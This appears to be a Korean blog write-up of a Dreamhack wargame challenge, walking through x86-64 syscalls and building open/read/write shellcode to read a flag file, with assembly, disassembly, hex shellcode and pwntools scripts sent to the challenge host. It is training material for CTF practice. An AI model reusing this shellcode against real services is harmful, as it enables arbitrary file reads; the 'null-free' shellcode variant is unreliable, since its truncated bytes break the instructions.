recture와 연계된, open, read, write 함수를 사용한 shellcode를 만드는 문제이다.
사실 lecture를 참고하면 flag file 경로만 hex 값으로 수정하여 사용할 수 있도록 예제가 잘 만들어져 있다.
다만 참고할만한 사항은 system call 부분인데,
간단히 이야기하자면 system call의 경우 특정 함수가 실행될 때 매번 특정 파일에서 해당 함수를 직접 찾기에는 다소 시간이 오래 걸릴 수 있고 비 효율적이기에 번호로 함수를 정의해두어 이를 해결하는 것이다.
원본 파일은 unistd.h이며 header 파일마다 조금씩 다르기에 사용된 header 파일을 정확히 알아야 한다.
┌──(kali㉿kali)-[~]
└─$ cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h
#ifndef _ASM_UNISTD_32_H
#define _ASM_UNISTD_32_H
#define __NR_restart_syscall 0
#define __NR_exit 1
#define __NR_fork 2
#define __NR_read 3
#define __NR_write 4
#define __NR_open 5
┌──(kali㉿kali)-[~]
└─$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h
#ifndef _ASM_UNISTD_64_H
#define _ASM_UNISTD_64_H
#define __NR_read 0
#define __NR_write 1
#define __NR_open 2
#define __NR_close 3
사실 구글에 "64bit system call table"만 검색해도 쉽게 찾을 수 있으며 본 문제에서 필요한 open, read, write 함수는 아래와 같이 잘 정리되어있다.
상기 테이블을 기준으로 우리가 넣어야 할 값을 다시 정리해보면
%rax | system call | %rdi | %rsi | %rdx |
2 | sys_open | 파일 경로 | 0 | 0 |
0 | sys_read | rax (open return 값) | 읽어들일 버퍼 주소 | 0x30 (읽어들일 크기) |
1 | sys_write | 1 (stdout) | 읽어들일 버퍼 주소 | 0x30 (읽어들일 크기) |
가 된다.
여기서 참고할만한 사항은
- open 함수
- open 후 return 값은 rax에 저장되며, 정상적으로 파일을 열었을 때 해당 경로가 저장된 주소를 return 한다.
- flag 및 mode는 fcntl.h에 정의되어있으며 아래와 같이 정수로 치환할 수 있다.
- write 함수
- open의 flag와 마찬가지로 read 및 write 함수의 fd 값도 정수로 치환 가능하다.
- file descriptor
- https://en.wikipedia.org/wiki/File_descriptor를 참고하자.
- 파일을 찾거나 프로그램 실행 시 오류 메시지를 제외하는 방법으로 2>/dev/null 명령어를 사용하는데, 이 또한 마찬가지 원리이다.
On Linux, the set of file descriptors open in a process can be accessed under the path /proc/PID/fd/, where PID is the process identifier. File descriptor /proc/PID/fd/0 is stdin, /proc/PID/fd/1 is stdout, and /proc/PID/fd/2 is stderr. As a shortcut to these, any running process can also access its own file descriptors through the folders /proc/self/fd and /dev/fd.[4] |
이제 이를 기준으로 어셈블러 코드를 만들고
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x676e6f6f6f6f6f6f\n"
"push rax\n"
"mov rax, 0x6c5f73695f656d61\n"
"push rax\n"
"mov rax, 0x6e5f67616c662f63\n"
"push rax\n"
"mov rax, 0x697361625f6c6c65\n"
"push rax\n"
"mov rax, 0x68732f656d6f682f\n"
"push rax\n"
"mov rdi,rsp\n"
"xor rsi,rsi\n"
"xor rdx,rdx\n"
"mov rax,2\n"
"syscall\n"
"mov rdi,rax\n"
"mov rsi,rsp\n"
"sub rsi,0x64\n"
"mov rdx,0x64\n"
"mov rax,0x0\n"
"syscall\n"
"mov rdi,0x1\n"
"mov rax,0x1\n"
"syscall\n");
void run_sh();
int main() { run_sh(); }
컴파일 후 objdump 명령어로 16진수 기계어로 필요한 부분만 뽑아내고
...
1129: 48 31 c0 xor %rax,%rax
112c: 50 push %rax
112d: 48 b8 6f 6f 6f 6f 6f movabs $0x676e6f6f6f6f6f6f,%rax
1134: 6f 6e 67
1137: 50 push %rax
1138: 48 b8 61 6d 65 5f 69 movabs $0x6c5f73695f656d61,%rax
113f: 73 5f 6c
1142: 50 push %rax
1143: 48 b8 63 2f 66 6c 61 movabs $0x6e5f67616c662f63,%rax
114a: 67 5f 6e
114d: 50 push %rax
114e: 48 b8 65 6c 6c 5f 62 movabs $0x697361625f6c6c65,%rax
1155: 61 73 69
1158: 50 push %rax
1159: 48 b8 2f 68 6f 6d 65 movabs $0x68732f656d6f682f,%rax
1160: 2f 73 68
1163: 50 push %rax
1164: 48 89 e7 mov %rsp,%rdi
1167: 48 31 f6 xor %rsi,%rsi
116a: 48 31 d2 xor %rdx,%rdx
116d: 48 c7 c0 02 00 00 00 mov $0x2,%rax
1174: 0f 05 syscall
1176: 48 89 c7 mov %rax,%rdi
1179: 48 89 e6 mov %rsp,%rsi
117c: 48 83 ee 30 sub $0x10,%rsi
1180: 48 c7 c2 30 00 00 00 mov $0x10,%rdx
1187: 48 c7 c0 00 00 00 00 mov $0x0,%rax
118e: 0f 05 syscall
1190: 48 c7 c7 01 00 00 00 mov $0x1,%rdi
1197: 48 c7 c0 01 00 00 00 mov $0x1,%rax
119e: 0f 05 syscall
...
이를 다시 hex 값만 모으면 shellcode가 된다.
\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x00\x00\x00\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x00\x00\x00\x48\xc7\xc0\x00\x00\x00\x00\x0f\x05\x48\xc7\xc7\x01\x00\x00\x00\x48\xc7\xc0\x01\x00\x00\x00\x0f\x05
사실 이 shellcode는 본 문제를 푸는데는 작동하지만 중간에 \x00 즉 null 값이 다수 포함되어있어 그리 좋은 shellcode는 아니다.
왜냐하면 일반적으로 문자열을 받을 때 null을 만나면 끝으로 인식하기에 shellcode가 정상적으로 삽입되지 않기에 이를 보완하여야한다.
최종적으로 만들어진 페이로드는 아래와 같다.
from pwn import *
context.arch = "amd64"
p = remote("host3.dreamhack.games", 23487)
shellcode = b"\x48\x31\xc0\x50\x48\xb8\x6f\x6f\x6f\x6f\x6f\x6f\x6e\x67\x50\x48\xb8\x61\x6d\x65\x5f\x69\x73\x5f\x6c\x50\x48\xb8\x63\x2f\x66\x6c\x61\x67\x5f\x6e\x50\x48\xb8\x65\x6c\x6c\x5f\x62\x61\x73\x69\x50\x48\xb8\x2f\x68\x6f\x6d\x65\x2f\x73\x68\x50\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\xc7\xc0\x02\x0f\x05\x48\x89\xc7\x48\x89\xe6\x48\x83\xee\x30\x48\xc7\xc2\x30\x48\xc7\xc0\x0f\x05\x48\xc7\xc7\x01\x48\xc7\xc0\x01\x0f\x05"
p.sendlineafter("shellcode: ", shellcode)
print(p.recv())
사실 pwntools에서는 이를 제공하고 있기 때문에 쉽게 제작할 수 있다.
from pwn import *
p = remote('host3.dreamhack.games','9860')
path = '/home/shell_basic/flag_name_is_loooooong'
context.arch = 'amd64'
shellcode = asm(shellcraft.open(path))
shellcode += asm(shellcraft.read('rax','rsp',0x100))
shellcode += asm(shellcraft.write(1,'rsp',0x100))
p.recvuntil(b": ")
p.send(shellcode)
print(p.recv(1024))
추가로 설명하자면,
open 함수의 return 값인 rax는 파일이 열렸느냐의 여부와 더불어 열린 파일의 포인터 주소를 가져오고,
read 함수에서는 rax에서 0x100 byte만큼 rsp에 읽어 들인 후
write 함수에서 rsp의 내용을 0x100 byte만큼 표준 출력 (1)
한다는 의미.
[+] Opening connection to host3.dreamhack.games on port 9860: Done
b'DH{----------#플래그는 삭제}\nong\x00\x00\x00\x00\x00\x00\x00\x00\xde\xbb\xd8\xc0NV\x00\x00X\xff\xea\xcb\xfd\x7f\x00\x00`\xb9\xd8\xc0\x01\x00\x00\x00\x00P\xbdc\xb6\x7f\x00\x00\x00P\xbdc\xb6\x7f\x00\x00\xf0\xbb\xd8\xc0NV\x00\x00\x87\xdc;c\xb6\x7f\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00X\xff\xea\xcb\xfd\x7f\x00\x00\x00\x80\x00\x00\x01\x00\x00\x00X\xbb\xd8\xc0NV\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x9d>\xa3[8m\xfa`\xb9\xd8\xc0NV\x00\x00P\xff\xea\xcb\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00U\x9d\xde)?.\x0b\xa9U\x9d\xa0l\x9d\x7f\x9c\xa9\x00\x00\x00\x00\xfd\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd3\xd8\x9bc\xb6\x7f\x00\x00X\xb9\x9ac\xb6\x7f\x00\x00\x7fy*\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
[*] Closed connection to host3.dreamhack.games port 9860
'Wargame > Dreamhack' 카테고리의 다른 글
ssp_001 (0) | 2022.07.18 |
---|---|
basic_exploitation_001 (0) | 2022.07.18 |
basic_exploitation_000 (0) | 2022.07.18 |
Return Address Overwrite (0) | 2022.07.18 |
[Lecture-System hacking] Quiz: x86 Assembly 1 (0) | 2022.07.17 |